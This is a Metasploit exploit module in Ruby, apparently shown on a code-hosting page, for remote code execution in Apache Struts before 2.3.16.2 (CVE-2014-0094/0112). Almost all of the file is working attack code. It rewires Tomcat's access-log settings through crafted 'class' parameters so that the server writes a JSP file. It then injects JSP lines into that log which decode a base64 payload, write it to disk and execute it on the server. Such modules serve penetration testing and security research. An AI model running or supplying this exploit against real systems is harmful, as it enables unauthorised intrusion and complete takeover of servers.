Files
metasploit-gs/modules/exploits/multi/http/struts_code_exec_classloader.rb
T
jvazquez-r7 140c8587e7 Fix metadata
2014-05-01 15:24:16 -05:00

198 lines
6.3 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows
access to 'class' parameter which is directly mapped to getClass() method and
allows ClassLoader manipulation, which allows remote attackers to execute arbitrary
Java code via crafted parameters.
},
'Author' =>
[
'Mark Thomas', # Vulnerability Discovery
'Przemyslaw Celej', # Vulnerability Discovery
'pwntester <alvaro[at]pwntester.com>', # PoC
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-0094'],
['CVE', '2014-0112'],
['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html']
],
'Platform' => %w{ linux win },
'Targets' =>
[
['Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w{ linux win }
},
],
['Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
['Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
]
],
'DisclosureDate' => 'Mar 06 2014',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
], self.class)
end
def exec_cmd(uri, cmd = "")
resp = send_request_cgi({
'uri' => uri+cmd,
'version' => '1.1',
'method' => 'GET',
})
return resp
end
def is_log_flushed(resp, content)
return (resp.headers["Content-Length"] != "0") && (resp.body =~ /#{content}/)
end
def exploit
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
vprint_status("#{peer} - Modifying class loader")
# Modifies classLoader parameters
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT") # Directory where log file os going to be created
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.prefix=#{prefix_jsp}") # Filename
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp") # File extension
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=#{date_format}") # second part of filename: "prefix+fileDateFormat.suffix"
jsp_file = prefix_jsp
jsp_file << date_format
jsp_file << ".jsp"
# Wait till the log is created
uri = "/"
uri << jsp_file
created = false
print_status("#{peer} - Waiting for the server to create the logfile")
10.times do |x|
select(nil, nil, nil, 2)
# Now make a request to trigger payload
vprint_status("#{peer} - Countdown #{10-x}...")
res = exec_cmd(uri)
# Failure. The request timed out or the server went away.
fail_with(Failure::TimeoutExpired, "Not received response") if res.nil?
# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200
vprint_good("#{peer} - created file at http://#{peer}/#{jsp_file}")
created = true
break
end
end
fail_with(Failure::TimeoutExpired, "No log file was created") unless created
if target['Arch'] == ARCH_JAVA
payload_exe = payload.encoded
else
payload_exe = generate_payload_exe
end
payload_file = rand_text_alphanumeric(4+rand(4))
payload_file << ".jsp" if (target['Arch'] == ARCH_JAVA)
register_files_for_cleanup("#{payload_file}", "#{jsp_file}")
# Inexistent URI that logs on previously created log file (with ".jsp" suffix)
uri = String.new(datastore['TARGETURI'])
uri << payload_file
vprint_status("#{peer} - Dumping payload into the logfile")
# Commands to be logged
exec_cmd(uri, "<%@ page import=\"java.io.FileOutputStream\" %>")
exec_cmd(uri, "<%@ page import=\"sun.misc.BASE64Decoder\" %>")
exec_cmd(uri, "<%@ page import=\"java.io.File\" %>")
exec_cmd(uri, "<% FileOutputStream oFile = new FileOutputStream(\"#{payload_file}\", false); %>")
exec_cmd(uri, "<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(payload_exe)}\")); %>")
exec_cmd(uri, "<% oFile.flush(); %>")
exec_cmd(uri, "<% oFile.close(); %>")
if target['Arch'] != ARCH_JAVA
exec_cmd(uri, "<% File f = new File(\"#{payload_file}\"); %>")
exec_cmd(uri, "<% f.setExecutable(true); %>")
exec_cmd(uri, "<% Runtime.getRuntime().exec(\"./#{payload_file}\"); %>")
end
uri = "/"
uri << jsp_file
flushed = false
print_status("#{peer} - Waiting for the server to flush the logfile")
10.times do |x|
select(nil, nil, nil, 2)
# Now make a request to trigger payload
vprint_status("#{peer} - Countdown #{10-x}...")
res = exec_cmd(uri)
# Failure. The request timed out or the server went away.
fail_with(Failure::TimeoutExpired, "Not received response") if res.nil?
# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200 && is_log_flushed(res, payload_file)
flushed = true
break
end
end
fail_with(Failure::TimeoutExpired, "Log not flushed on time") unless flushed
exec_cmd("/#{payload_file}") if (target['Arch'] == ARCH_JAVA)
end
end